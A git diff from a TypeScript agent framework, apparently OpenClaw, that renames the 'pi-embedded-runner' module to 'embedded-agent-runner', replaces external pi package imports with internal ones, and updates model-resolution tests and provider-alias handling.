a/src/agents/pi-embedded-runner/history.test.ts b/src/agents/embedded-agent-runner/history.test.ts similarity index 98% rename from src/agents/pi-embedded-runner/history.test.ts rename to src/agents/embedded-agent-runner/history.test.ts index b2cc28c1c14..0deae3b13ca 100644 --- a/src/agents/pi-embedded-runner/history.test.ts +++ b/src/agents/embedded-agent-runner/history.test.ts @@ -3,7 +3,7 @@ import type { OpenClawConfig } from "../../config/config.js"; import { getHistoryLimitFromSessionKey } from "./history.js"; describe("getHistoryLimitFromSessionKey", () => { - it("matches channel history limits across canonical provider aliases", () => { + it("does not match channel history limits across provider id variants", () => { expect( getHistoryLimitFromSessionKey("agent:main:z-ai:channel:general", { channels: { @@ -12,7 +12,7 @@ describe("getHistoryLimitFromSessionKey", () => { }, }, }), - ).toBe(17); + ).toBeUndefined(); }); it("returns undefined when sessionKey or config is undefined", () => { diff --git a/src/agents/pi-embedded-runner/history.ts b/src/agents/embedded-agent-runner/history.ts similarity index 98% rename from src/agents/pi-embedded-runner/history.ts rename to src/agents/embedded-agent-runner/history.ts index bad1f48d5ab..5485e391c11 100644 --- a/src/agents/pi-embedded-runner/history.ts +++ b/src/agents/embedded-agent-runner/history.ts @@ -1,7 +1,7 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { normalizeOptionalLowercaseString } from "../../shared/string-coerce.js"; import { normalizeProviderId } from "../provider-id.js"; +import type { AgentMessage } from "../runtime/index.js"; const THREAD_SUFFIX_REGEX = /^(.*)(?::(?:thread|topic):\d+)$/i; diff --git a/src/agents/pi-embedded-runner/kilocode.test.ts b/src/agents/embedded-agent-runner/kilocode.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/kilocode.test.ts rename to src/agents/embedded-agent-runner/kilocode.test.ts diff --git a/src/agents/pi-embedded-runner/lanes.test.ts b/src/agents/embedded-agent-runner/lanes.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/lanes.test.ts rename to src/agents/embedded-agent-runner/lanes.test.ts diff --git a/src/agents/pi-embedded-runner/lanes.ts b/src/agents/embedded-agent-runner/lanes.ts similarity index 100% rename from src/agents/pi-embedded-runner/lanes.ts rename to src/agents/embedded-agent-runner/lanes.ts diff --git a/src/agents/pi-embedded-runner/logger.ts b/src/agents/embedded-agent-runner/logger.ts similarity index 100% rename from src/agents/pi-embedded-runner/logger.ts rename to src/agents/embedded-agent-runner/logger.ts diff --git a/src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts b/src/agents/embedded-agent-runner/manual-compaction-boundary.test.ts similarity index 97% rename from src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts rename to src/agents/embedded-agent-runner/manual-compaction-boundary.test.ts index 4a95c9c8ce6..ec34aa29d5a 100644 --- a/src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts +++ b/src/agents/embedded-agent-runner/manual-compaction-boundary.test.ts @@ -1,9 +1,9 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage } from "@earendil-works/pi-ai"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { afterEach, describe, expect, it, vi } from "vitest"; import { hardenManualCompactionBoundary } from "./manual-compaction-boundary.js"; diff --git a/src/agents/pi-embedded-runner/manual-compaction-boundary.ts b/src/agents/embedded-agent-runner/manual-compaction-boundary.ts similarity index 96% rename from src/agents/pi-embedded-runner/manual-compaction-boundary.ts rename to src/agents/embedded-agent-runner/manual-compaction-boundary.ts index dd5fe449941..8e01da378b0 100644 --- a/src/agents/pi-embedded-runner/manual-compaction-boundary.ts +++ b/src/agents/embedded-agent-runner/manual-compaction-boundary.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { SessionEntry } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "../runtime/index.js"; +import type { SessionEntry } from "../sessions/index.js"; import { readTranscriptFileState, TranscriptFileState, diff --git a/src/agents/pi-embedded-runner/message-action-discovery-input.test.ts b/src/agents/embedded-agent-runner/message-action-discovery-input.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/message-action-discovery-input.test.ts rename to src/agents/embedded-agent-runner/message-action-discovery-input.test.ts diff --git a/src/agents/pi-embedded-runner/message-action-discovery-input.ts b/src/agents/embedded-agent-runner/message-action-discovery-input.ts similarity index 100% rename from src/agents/pi-embedded-runner/message-action-discovery-input.ts rename to src/agents/embedded-agent-runner/message-action-discovery-input.ts diff --git a/src/agents/embedded-agent-runner/model-context-tokens.ts b/src/agents/embedded-agent-runner/model-context-tokens.ts new file mode 100644 index 00000000000..1f1d75ee702 --- /dev/null +++ b/src/agents/embedded-agent-runner/model-context-tokens.ts @@ -0,0 +1,10 @@ +import type { Model } from "../../llm/types.js"; + +type AgentModelWithOptionalContextTokens = Model & { + contextTokens?: number; +}; + +export function readAgentModelContextTokens(model: Model | null | undefined): number | undefined { + const value = (model as AgentModelWithOptionalContextTokens | null | undefined)?.contextTokens; + return typeof value === "number" && Number.isFinite(value) ? value : undefined; +} diff --git a/src/agents/pi-embedded-runner/model-discovery-cache.ts b/src/agents/embedded-agent-runner/model-discovery-cache.ts similarity index 86% rename from src/agents/pi-embedded-runner/model-discovery-cache.ts rename to src/agents/embedded-agent-runner/model-discovery-cache.ts index bfb3ef5e432..081d1db41b7 100644 --- a/src/agents/pi-embedded-runner/model-discovery-cache.ts +++ b/src/agents/embedded-agent-runner/model-discovery-cache.ts @@ -1,20 +1,20 @@ import { statSync } from "node:fs"; import path from "node:path"; -import type { AuthStorage, ModelRegistry } from "@earendil-works/pi-coding-agent"; import { resolveRuntimeExternalAuthProviderRefs, resolveRuntimeSyntheticAuthProviderRefs, } from "../../plugins/synthetic-auth.runtime.js"; +import { discoverAuthStorage, discoverModels } from "../agent-model-discovery.js"; import { resolveDefaultAgentDir } from "../agent-scope.js"; import { hasAnyRuntimeAuthProfileStoreSource } from "../auth-profiles/runtime-snapshots.js"; -import { discoverAuthStorage, discoverModels } from "../pi-model-discovery.js"; +import type { AuthStorage, ModelRegistry } from "../sessions/index.js"; type DiscoveryStores = { authStorage: AuthStorage; modelRegistry: ModelRegistry; }; -type DiscoverCachedPiStoresOptions = { +type DiscoverCachedAgentStoresOptions = { agentDir: string; inheritedAuthDir?: string; }; @@ -47,7 +47,7 @@ function authFingerprint(agentDir: string): object { }; } -function discoveryFingerprint(params: DiscoverCachedPiStoresOptions): string { +function discoveryFingerprint(params: DiscoverCachedAgentStoresOptions): string { const inheritedAuthDir = params.inheritedAuthDir && params.inheritedAuthDir !== params.agentDir ? params.inheritedAuthDir @@ -82,19 +82,21 @@ function pruneDiscoveryStoreCache(): void { } } -function discoverFreshPiStores(agentDir: string): DiscoveryStores { +function discoverFreshAgentStores(agentDir: string): DiscoveryStores { const authStorage = discoverAuthStorage(agentDir); const modelRegistry = discoverModels(authStorage, agentDir); return { authStorage, modelRegistry }; } -export function discoverCachedPiStores(options: DiscoverCachedPiStoresOptions): DiscoveryStores { +export function discoverCachedAgentStores( + options: DiscoverCachedAgentStoresOptions, +): DiscoveryStores { const agentDir = normalizeCacheDir(options.agentDir) ?? options.agentDir; const inheritedAuthDir = normalizeCacheDir( options.inheritedAuthDir ?? resolveDefaultAgentDir({}), ); if (hasAnyRuntimeAuthProfileStoreSource(agentDir) || hasRuntimePluginAuthSources()) { - return discoverFreshPiStores(agentDir); + return discoverFreshAgentStores(agentDir); } const cacheKey = JSON.stringify({ agentDir, inheritedAuthDir }); @@ -108,7 +110,7 @@ export function discoverCachedPiStores(options: DiscoverCachedPiStoresOptions): }; } - const stores = discoverFreshPiStores(agentDir); + const stores = discoverFreshAgentStores(agentDir); DISCOVERY_STORE_CACHE.set(cacheKey, { authStorage: stores.authStorage, fingerprint, diff --git a/src/agents/pi-embedded-runner/model.forward-compat.errors-and-overrides.test.ts b/src/agents/embedded-agent-runner/model.forward-compat.errors-and-overrides.test.ts similarity index 96% rename from src/agents/pi-embedded-runner/model.forward-compat.errors-and-overrides.test.ts rename to src/agents/embedded-agent-runner/model.forward-compat.errors-and-overrides.test.ts index 32b8aeb397d..3d0c5515d18 100644 --- a/src/agents/pi-embedded-runner/model.forward-compat.errors-and-overrides.test.ts +++ b/src/agents/embedded-agent-runner/model.forward-compat.errors-and-overrides.test.ts @@ -1,6 +1,6 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { ModelProviderConfig } from "../../config/config.js"; -import { discoverModels } from "../pi-model-discovery.js"; +import { discoverModels } from "../agent-model-discovery.js"; import { createProviderRuntimeTestMock } from "./model.provider-runtime.test-support.js"; vi.mock("../../plugins/provider-runtime.js", async () => { @@ -9,7 +9,6 @@ vi.mock("../../plugins/provider-runtime.js", async () => { ); return { ...actual, - applyProviderResolvedModelCompatWithPlugins: () => undefined, applyProviderResolvedTransportWithPlugin: () => undefined, buildProviderUnknownModelHintWithPlugin: () => undefined, normalizeProviderTransportWithPlugin: () => undefined, @@ -38,7 +37,7 @@ vi.mock("../model-suppression.js", () => ({ }, })); -vi.mock("../pi-model-discovery.js", () => ({ +vi.mock("../agent-model-discovery.js", () => ({ discoverAuthStorage: vi.fn(() => ({ mocked: true })), discoverModels: vi.fn(() => ({ find: vi.fn(() => null) })), })); @@ -64,7 +63,7 @@ beforeEach(() => { function createRuntimeHooks() { return createProviderRuntimeTestMock({ - handledDynamicProviders: ["anthropic", "google-antigravity", "zai", "openai-codex"], + handledDynamicProviders: ["google-antigravity", "zai", "openai-codex"], }); } @@ -179,7 +178,7 @@ describe("resolveModel forward-compat errors and overrides", () => { expect(result.model).toBeUndefined(); expect(result.error).toBe( - "Unknown model: azure-openai-responses/gpt-5.3-codex-spark. gpt-5.3-codex-spark is no longer exposed by the OpenAI or Codex catalogs. Use openai/gpt-5.5.", + "Unknown model: openai/gpt-5.3-codex-spark. gpt-5.3-codex-spark is no longer exposed by the OpenAI or Codex catalogs. Use openai/gpt-5.5.", ); }); diff --git a/src/agents/pi-embedded-runner/model.forward-compat.test-support.ts b/src/agents/embedded-agent-runner/model.forward-compat.test-support.ts similarity index 100% rename from src/agents/pi-embedded-runner/model.forward-compat.test-support.ts rename to src/agents/embedded-agent-runner/model.forward-compat.test-support.ts diff --git a/src/agents/pi-embedded-runner/model.forward-compat.test.ts b/src/agents/embedded-agent-runner/model.forward-compat.test.ts similarity index 98% rename from src/agents/pi-embedded-runner/model.forward-compat.test.ts rename to src/agents/embedded-agent-runner/model.forward-compat.test.ts index e5663876b68..b866463d4e4 100644 --- a/src/agents/pi-embedded-runner/model.forward-compat.test.ts +++ b/src/agents/embedded-agent-runner/model.forward-compat.test.ts @@ -7,7 +7,6 @@ import { resolveModelWithRegistry } from "./model.js"; import { createProviderRuntimeTestMock } from "./model.provider-runtime.test-support.js"; vi.mock("../../plugins/provider-runtime.js", () => ({ - applyProviderResolvedModelCompatWithPlugins: () => undefined, applyProviderResolvedTransportWithPlugin: () => undefined, buildProviderUnknownModelHintWithPlugin: () => undefined, normalizeProviderResolvedModelWithPlugin: () => undefined, diff --git a/src/agents/pi-embedded-runner/model.inline-provider.test.ts b/src/agents/embedded-agent-runner/model.inline-provider.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/model.inline-provider.test.ts rename to src/agents/embedded-agent-runner/model.inline-provider.test.ts diff --git a/src/agents/pi-embedded-runner/model.inline-provider.ts b/src/agents/embedded-agent-runner/model.inline-provider.ts similarity index 99% rename from src/agents/pi-embedded-runner/model.inline-provider.ts rename to src/agents/embedded-agent-runner/model.inline-provider.ts index 4c361b14545..a837010896a 100644 --- a/src/agents/pi-embedded-runner/model.inline-provider.ts +++ b/src/agents/embedded-agent-runner/model.inline-provider.ts @@ -1,6 +1,6 @@ -import type { Api } from "@earendil-works/pi-ai"; import type { ModelDefinitionConfig, ModelProviderConfig } from "../../config/types.js"; import { normalizeGoogleApiBaseUrl } from "../../infra/google-api-base-url.js"; +import type { Api } from "../../llm/types.js"; import { normalizeOptionalLowercaseString } from "../../shared/string-coerce.js"; import { isSecretRefHeaderValueMarker } from "../model-auth-markers.js"; import { attachModelProviderLocalService } from "../provider-local-service.js"; diff --git a/src/agents/embedded-agent-runner/model.provider-normalization.ts b/src/agents/embedded-agent-runner/model.provider-normalization.ts new file mode 100644 index 00000000000..3ea2b31511e --- /dev/null +++ b/src/agents/embedded-agent-runner/model.provider-normalization.ts @@ -0,0 +1,6 @@ +import type { Model } from "../../llm/types.js"; +import { normalizeModelCompat } from "../../plugins/provider-model-compat.js"; + +export function normalizeResolvedProviderModel(params: { provider: string; model: Model }): Model { + return normalizeModelCompat(params.model); +} diff --git a/src/agents/pi-embedded-runner/model.provider-runtime.test-support.ts b/src/agents/embedded-agent-runner/model.provider-runtime.test-support.ts similarity index 100% rename from src/agents/pi-embedded-runner/model.provider-runtime.test-support.ts rename to src/agents/embedded-agent-runner/model.provider-runtime.test-support.ts diff --git a/src/agents/pi-embedded-runner/model.skip-pi-discovery-hooks.test.ts b/src/agents/embedded-agent-runner/model.skip-agent-discovery-hooks.test.ts similarity index 86% rename from src/agents/pi-embedded-runner/model.skip-pi-discovery-hooks.test.ts rename to src/agents/embedded-agent-runner/model.skip-agent-discovery-hooks.test.ts index 215fcd5db36..0f3b2566804 100644 --- a/src/agents/pi-embedded-runner/model.skip-pi-discovery-hooks.test.ts +++ b/src/agents/embedded-agent-runner/model.skip-agent-discovery-hooks.test.ts @@ -3,16 +3,13 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; const mocks = vi.hoisted(() => ({ discoverAuthStorage: vi.fn(() => ({ mocked: true })), discoverModels: vi.fn(() => ({ find: vi.fn(() => null) })), - applyProviderResolvedModelCompatWithPlugins: vi.fn(() => { - throw new Error("compat hook should not run during skipPiDiscovery"); - }), applyProviderResolvedTransportWithPlugin: vi.fn(() => { - throw new Error("transport hook should not run during skipPiDiscovery"); + throw new Error("transport hook should not run during skipAgentDiscovery"); }), buildProviderUnknownModelHintWithPlugin: vi.fn(() => undefined), normalizeProviderResolvedModelWithPlugin: vi.fn(() => undefined), normalizeProviderTransportWithPlugin: vi.fn(() => { - throw new Error("transport normalization hook should not run during skipPiDiscovery"); + throw new Error("transport normalization hook should not run during skipAgentDiscovery"); }), prepareProviderDynamicModel: vi.fn(async () => undefined), runProviderDynamicModel: vi.fn( @@ -32,13 +29,12 @@ const mocks = vi.hoisted(() => ({ shouldPreferProviderRuntimeResolvedModel: vi.fn(() => false), })); -vi.mock("../pi-model-discovery.js", () => ({ +vi.mock("../agent-model-discovery.js", () => ({ discoverAuthStorage: mocks.discoverAuthStorage, discoverModels: mocks.discoverModels, })); vi.mock("../../plugins/provider-runtime.js", () => ({ - applyProviderResolvedModelCompatWithPlugins: mocks.applyProviderResolvedModelCompatWithPlugins, applyProviderResolvedTransportWithPlugin: mocks.applyProviderResolvedTransportWithPlugin, buildProviderUnknownModelHintWithPlugin: mocks.buildProviderUnknownModelHintWithPlugin, normalizeProviderResolvedModelWithPlugin: mocks.normalizeProviderResolvedModelWithPlugin, @@ -70,10 +66,10 @@ beforeEach(async () => { ({ resolveModelAsync } = await import("./model.js")); }); -describe("resolveModelAsync skipPiDiscovery runtime hooks", () => { +describe("resolveModelAsync skipAgentDiscovery runtime hooks", () => { it("uses only target-provider dynamic hooks", async () => { const result = await resolveModelAsync("ollama", "llama3.2:latest", "/tmp/agent", undefined, { - skipPiDiscovery: true, + skipAgentDiscovery: true, workspaceDir: "/tmp/workspace", }); @@ -89,7 +85,6 @@ describe("resolveModelAsync skipPiDiscovery runtime hooks", () => { expectWorkspaceHookCall(mocks.prepareProviderDynamicModel); expectWorkspaceHookCall(mocks.runProviderDynamicModel); expectWorkspaceHookCall(mocks.normalizeProviderResolvedModelWithPlugin); - expect(mocks.applyProviderResolvedModelCompatWithPlugins).not.toHaveBeenCalled(); expect(mocks.applyProviderResolvedTransportWithPlugin).not.toHaveBeenCalled(); expect(mocks.normalizeProviderTransportWithPlugin).not.toHaveBeenCalled(); }); diff --git a/src/agents/pi-embedded-runner/model.startup-retry.test.ts b/src/agents/embedded-agent-runner/model.startup-retry.test.ts similarity index 95% rename from src/agents/pi-embedded-runner/model.startup-retry.test.ts rename to src/agents/embedded-agent-runner/model.startup-retry.test.ts index 77b3c5de1b7..504716b4832 100644 --- a/src/agents/pi-embedded-runner/model.startup-retry.test.ts +++ b/src/agents/embedded-agent-runner/model.startup-retry.test.ts @@ -26,13 +26,12 @@ const runProviderDynamicModelMock = vi.fn<(params: unknown) => unknown>(() => : undefined, ); -vi.mock("../pi-model-discovery.js", () => ({ +vi.mock("../agent-model-discovery.js", () => ({ discoverAuthStorage: discoverAuthStorageMock, discoverModels: discoverModelsMock, })); vi.mock("../../plugins/provider-runtime.js", () => ({ - applyProviderResolvedModelCompatWithPlugins: () => undefined, applyProviderResolvedTransportWithPlugin: () => undefined, buildProviderUnknownModelHintWithPlugin: () => undefined, normalizeProviderResolvedModelWithPlugin: () => undefined, @@ -44,7 +43,6 @@ vi.mock("../../plugins/provider-runtime.js", () => ({ describe("resolveModelAsync startup retry", () => { const runtimeHooks = { - applyProviderResolvedModelCompatWithPlugins: () => undefined, buildProviderUnknownModelHintWithPlugin: () => undefined, normalizeProviderResolvedModelWithPlugin: () => undefined, normalizeProviderTransportWithPlugin: () => undefined, diff --git a/src/agents/pi-embedded-runner/model.static-catalog.test.ts b/src/agents/embedded-agent-runner/model.static-catalog.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/model.static-catalog.test.ts rename to src/agents/embedded-agent-runner/model.static-catalog.test.ts diff --git a/src/agents/pi-embedded-runner/model.static-catalog.ts b/src/agents/embedded-agent-runner/model.static-catalog.ts similarity index 68% rename from src/agents/pi-embedded-runner/model.static-catalog.ts rename to src/agents/embedded-agent-runner/model.static-catalog.ts index ac7e26b959e..808f1b4478c 100644 --- a/src/agents/pi-embedded-runner/model.static-catalog.ts +++ b/src/agents/embedded-agent-runner/model.static-catalog.ts @@ -1,8 +1,10 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { Model } from "../../llm/types.js"; import { planManifestModelCatalogRows } from "../../model-catalog/manifest-planner.js"; import type { NormalizedModelCatalogRow } from "../../model-catalog/types.js"; import { listOpenClawPluginManifestMetadata } from "../../plugins/manifest-metadata-scan.js"; +import { loadPluginManifestRegistry } from "../../plugins/manifest-registry.js"; +import type { PluginManifestRecord } from "../../plugins/manifest-registry.js"; import { loadPluginManifest } from "../../plugins/manifest.js"; import { normalizeStaticProviderModelId } from "../model-ref-shared.js"; import { normalizeProviderId } from "../provider-id.js"; @@ -22,7 +24,7 @@ function rowMatchesModel(params: { ); } -function modelFromStaticCatalogRow(row: NormalizedModelCatalogRow): Model { +function modelFromStaticCatalogRow(row: NormalizedModelCatalogRow): Model { return { id: row.id, name: row.name || row.id, @@ -38,7 +40,7 @@ function modelFromStaticCatalogRow(row: NormalizedModelCatalogRow): Model { headers: row.headers, compat: row.compat, mediaInput: row.mediaInput, - } as Model; + } as Model; } type StaticCatalogPlugin = Parameters< @@ -64,6 +66,53 @@ function listBundledStaticCatalogPlugins(env: NodeJS.ProcessEnv): StaticCatalogP }); } +function resolveManifestModelCatalogProviderAlias(params: { + provider: string; + plugins: readonly Pick[]; +}): string | undefined { + const provider = normalizeProviderId(params.provider); + if (!provider) { + return undefined; + } + const targets = new Set(); + for (const plugin of params.plugins) { + for (const [rawAlias, alias] of Object.entries(plugin.modelCatalog?.aliases ?? {})) { + const normalizedAlias = normalizeProviderId(rawAlias); + const normalizedTarget = normalizeProviderId(alias.provider); + if ( + normalizedAlias === provider && + normalizedTarget && + plugin.providers.some((providerId) => normalizeProviderId(providerId) === normalizedTarget) + ) { + targets.add(normalizedTarget); + } + } + } + return targets.size === 1 ? [...targets][0] : undefined; +} + +export function canonicalizeManifestModelCatalogProviderAlias(params: { + provider: string; + cfg?: OpenClawConfig; + workspaceDir?: string; + env?: NodeJS.ProcessEnv; +}): string { + const provider = normalizeProviderId(params.provider); + if (!provider) { + return params.provider; + } + return ( + resolveManifestModelCatalogProviderAlias({ + provider, + plugins: loadPluginManifestRegistry({ + config: params.cfg, + workspaceDir: params.workspaceDir, + env: params.env ?? process.env, + }).plugins, + }) ?? params.provider + ); +} + export function bundledStaticCatalogProviderUsesRuntimeAugment(params: { provider: string; env?: NodeJS.ProcessEnv; @@ -94,7 +143,7 @@ export function resolveBundledStaticCatalogModel(params: { cfg?: OpenClawConfig; workspaceDir?: string; env?: NodeJS.ProcessEnv; -}): Model | undefined { +}): Model | undefined { const provider = normalizeProviderId(params.provider); if (!provider || !params.modelId.trim()) { return undefined; diff --git a/src/agents/pi-embedded-runner/model.test-harness.ts b/src/agents/embedded-agent-runner/model.test-harness.ts similarity index 97% rename from src/agents/pi-embedded-runner/model.test-harness.ts rename to src/agents/embedded-agent-runner/model.test-harness.ts index 7beb9577529..d8eb84af1bf 100644 --- a/src/agents/pi-embedded-runner/model.test-harness.ts +++ b/src/agents/embedded-agent-runner/model.test-harness.ts @@ -1,7 +1,7 @@ import { vi } from "vitest"; import type { ModelDefinitionConfig } from "../../config/types.js"; -type DiscoverModelsMock = typeof import("../pi-model-discovery.js").discoverModels; +type DiscoverModelsMock = typeof import("../agent-model-discovery.js").discoverModels; export const makeModel = (id: string): ModelDefinitionConfig => ({ id, diff --git a/src/agents/pi-embedded-runner/model.test.ts b/src/agents/embedded-agent-runner/model.test.ts similarity index 98% rename from src/agents/pi-embedded-runner/model.test.ts rename to src/agents/embedded-agent-runner/model.test.ts index 46a1db5815e..8f774a088f6 100644 --- a/src/agents/pi-embedded-runner/model.test.ts +++ b/src/agents/embedded-agent-runner/model.test.ts @@ -2,11 +2,11 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { discoverAuthStorage, discoverModels } from "../agent-model-discovery.js"; import { clearRuntimeAuthProfileStoreSnapshots, replaceRuntimeAuthProfileStoreSnapshots, } from "../auth-profiles.js"; -import { discoverAuthStorage, discoverModels } from "../pi-model-discovery.js"; import { resetModelDiscoveryCacheForTest } from "./model-discovery-cache.js"; import { createProviderRuntimeTestMock } from "./model.provider-runtime.test-support.js"; @@ -118,7 +118,7 @@ vi.mock("../model-suppression.js", () => { }; }); -vi.mock("../pi-model-discovery.js", () => ({ +vi.mock("../agent-model-discovery.js", () => ({ discoverAuthStorage: vi.fn(() => ({ mocked: true })), discoverModels: vi.fn(() => ({ find: vi.fn(() => null) })), })); @@ -128,9 +128,13 @@ vi.mock("../../plugins/synthetic-auth.runtime.js", () => ({ resolveRuntimeExternalAuthProviderRefs: resolveRuntimeExternalAuthProviderRefsMock, })); -vi.mock("./model.static-catalog.js", () => ({ - resolveBundledStaticCatalogModel: resolveBundledStaticCatalogModelMock, -})); +vi.mock("./model.static-catalog.js", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + resolveBundledStaticCatalogModel: resolveBundledStaticCatalogModelMock, + }; +}); import type { OpenRouterModelCapabilities } from "./openrouter-model-capabilities.js"; @@ -269,7 +273,7 @@ function mockCallArg(mock: ReturnType, callIndex = 0): Record { - it("reuses PI discovery stores while the agent model files are unchanged", async () => { + it("reuses agent discovery stores while the agent model files are unchanged", async () => { mockDiscoveredModel(discoverModels, { provider: "openai", modelId: "gpt-5.5", @@ -292,7 +296,7 @@ describe("resolveModel", () => { expect(discoverModels).toHaveBeenCalledTimes(1); }); - it("invalidates PI discovery stores when inherited default auth changes", async () => { + it("invalidates agent discovery stores when inherited default auth changes", async () => { const rootDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-model-cache-")); const agentDir = path.join(rootDir, "agent"); const defaultAgentDir = path.join(rootDir, "default-agent"); @@ -332,7 +336,7 @@ describe("resolveModel", () => { expect(discoverModels).toHaveBeenCalledTimes(2); }); - it("invalidates PI discovery stores when implicit main auth changes without config", async () => { + it("invalidates agent discovery stores when implicit main auth changes without config", async () => { const rootDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-model-cache-state-")); vi.stubEnv("OPENCLAW_STATE_DIR", rootDir); const agentDir = path.join(rootDir, "agents", "worker", "agent"); @@ -365,7 +369,7 @@ describe("resolveModel", () => { expect(discoverModels).toHaveBeenCalledTimes(2); }); - it("does not cache PI discovery stores while runtime auth snapshots are active", async () => { + it("does not cache agent discovery stores while runtime auth snapshots are active", async () => { replaceRuntimeAuthProfileStoreSnapshots([ { store: { @@ -398,7 +402,7 @@ describe("resolveModel", () => { expect(discoverModels).toHaveBeenCalledTimes(2); }); - it("does not cache PI discovery stores while plugin auth overlays are active", async () => { + it("does not cache agent discovery stores while plugin auth overlays are active", async () => { resolveRuntimeSyntheticAuthProviderRefsMock.mockReturnValue(["runtime-provider"]); resolveRuntimeExternalAuthProviderRefsMock.mockReturnValue(["external-provider"]); mockDiscoveredModel(discoverModels, { @@ -423,7 +427,7 @@ describe("resolveModel", () => { expect(discoverModels).toHaveBeenCalledTimes(2); }); - it("skips PI auth and model discovery during dynamic model resolution", async () => { + it("skips OpenClaw auth and model discovery during dynamic model resolution", async () => { const result = await resolveModelAsync( "openrouter", "openrouter/auto", @@ -431,7 +435,7 @@ describe("resolveModel", () => { undefined, { runtimeHooks: createRuntimeHooks(), - skipPiDiscovery: true, + skipAgentDiscovery: true, }, ); @@ -443,7 +447,7 @@ describe("resolveModel", () => { expect(discoverModels).not.toHaveBeenCalled(); }); - it("resolves opt-in bundled static catalog rows while skipping PI discovery", async () => { + it("resolves opt-in bundled static catalog rows while skipping agent discovery", async () => { resolveBundledStaticCatalogModelMock.mockReturnValueOnce({ provider: "mistral", id: "mistral-medium-3-5", @@ -465,7 +469,7 @@ describe("resolveModel", () => { { allowBundledStaticCatalogFallback: true, runtimeHooks: createRuntimeHooks(), - skipPiDiscovery: true, + skipAgentDiscovery: true, }, ); @@ -488,7 +492,7 @@ describe("resolveModel", () => { expect(discoverModels).not.toHaveBeenCalled(); }); - it("applies provider overrides to bundled static catalog rows while skipping PI discovery", async () => { + it("applies provider overrides to bundled static catalog rows while skipping agent discovery", async () => { resolveBundledStaticCatalogModelMock.mockReturnValueOnce({ provider: "mistral", id: "mistral-medium-3-5", @@ -524,7 +528,7 @@ describe("resolveModel", () => { const result = await resolveModelAsync("mistral", "mistral-medium-3-5", "/tmp/agent", cfg, { allowBundledStaticCatalogFallback: true, runtimeHooks: createRuntimeHooks(), - skipPiDiscovery: true, + skipAgentDiscovery: true, }); const model = expectResolvedModel(result); @@ -580,7 +584,7 @@ describe("resolveModel", () => { authStorage: { mocked: true } as never, modelRegistry: discoverModels({ mocked: true } as never, "/tmp/agent"), runtimeHooks: createRuntimeHooks(), - skipPiDiscovery: true, + skipAgentDiscovery: true, }); expect((expectResolvedModel(result) as { mediaInput?: unknown }).mediaInput).toEqual({ @@ -645,7 +649,7 @@ describe("resolveModel", () => { undefined, { runtimeHooks: createRuntimeHooks(), - skipPiDiscovery: true, + skipAgentDiscovery: true, }, ); @@ -690,7 +694,7 @@ describe("resolveModel", () => { expect(expectResolvedModel(result).input).toEqual(["text"]); }); - it("defaults missing model cost before handing models to PI", () => { + it("defaults missing model cost before handing models to OpenClaw", () => { const cfg: OpenClawConfig = { models: { providers: { @@ -1101,7 +1105,7 @@ describe("resolveModel", () => { }); }); - it("adds GitHub Copilot IDE headers to dynamic resolved model headers for Pi-native compaction", () => { + it("adds GitHub Copilot IDE headers to dynamic resolved model headers for native compaction", () => { const result = resolveModelForTest("github-copilot", "gpt-5.5", "/tmp/agent"); const model = expectResolvedModel(result) as unknown as { headers?: Record }; @@ -1112,7 +1116,7 @@ describe("resolveModel", () => { }); }); - it("adds GitHub Copilot IDE headers to configured resolved model headers for Pi-native compaction", () => { + it("adds GitHub Copilot IDE headers to configured resolved model headers for native compaction", () => { const cfg = { models: { providers: { @@ -1648,7 +1652,7 @@ describe("resolveModel", () => { }); }); - it("matches provider-prefixed configured model ids through provider aliases", () => { + it("does not match provider-prefixed configured model ids through core provider aliases", () => { const cfg = { models: { providers: { @@ -1668,14 +1672,10 @@ describe("resolveModel", () => { const result = resolveModelForTest("bytedance", "vision-model", "/tmp/agent", cfg); - expect(result.error).toBeUndefined(); - expectRecordFields(result.model, { - id: "volcengine/vision-model", - input: ["text", "image"], - }); + expect(result.error).toBe("Unknown model: bytedance/vision-model"); }); - it("resolves direct moonshotai refs through the Moonshot provider alias", () => { + it("resolves direct moonshotai refs through manifest-owned provider aliases", () => { const cfg = { models: { providers: { @@ -1700,13 +1700,10 @@ describe("resolveModel", () => { expectRecordFields(result.model, { provider: "moonshot", id: "kimi-k2.6", - api: "openai-completions", - baseUrl: "https://api.moonshot.ai/v1", - input: ["text", "image"], }); }); - it("resolves direct moonshot-ai refs through the Moonshot provider alias", () => { + it("resolves direct moonshot-ai refs through manifest-owned provider aliases", () => { const cfg = { models: { providers: { @@ -1865,7 +1862,7 @@ describe("resolveModel", () => { const result = await resolveModelAsync("microsoft-foundry", "Kimi-K2.6-1", "/tmp/agent", cfg, { runtimeHooks: createRuntimeHooks(), - skipPiDiscovery: true, + skipAgentDiscovery: true, }); expect(result.error).toBe( @@ -3123,7 +3120,6 @@ describe("resolveModel", () => { authStorage: { mocked: true } as never, modelRegistry: discoverModels({ mocked: true } as never, "/tmp/agent"), runtimeHooks: { - applyProviderResolvedModelCompatWithPlugins: () => undefined, buildProviderUnknownModelHintWithPlugin: () => undefined, 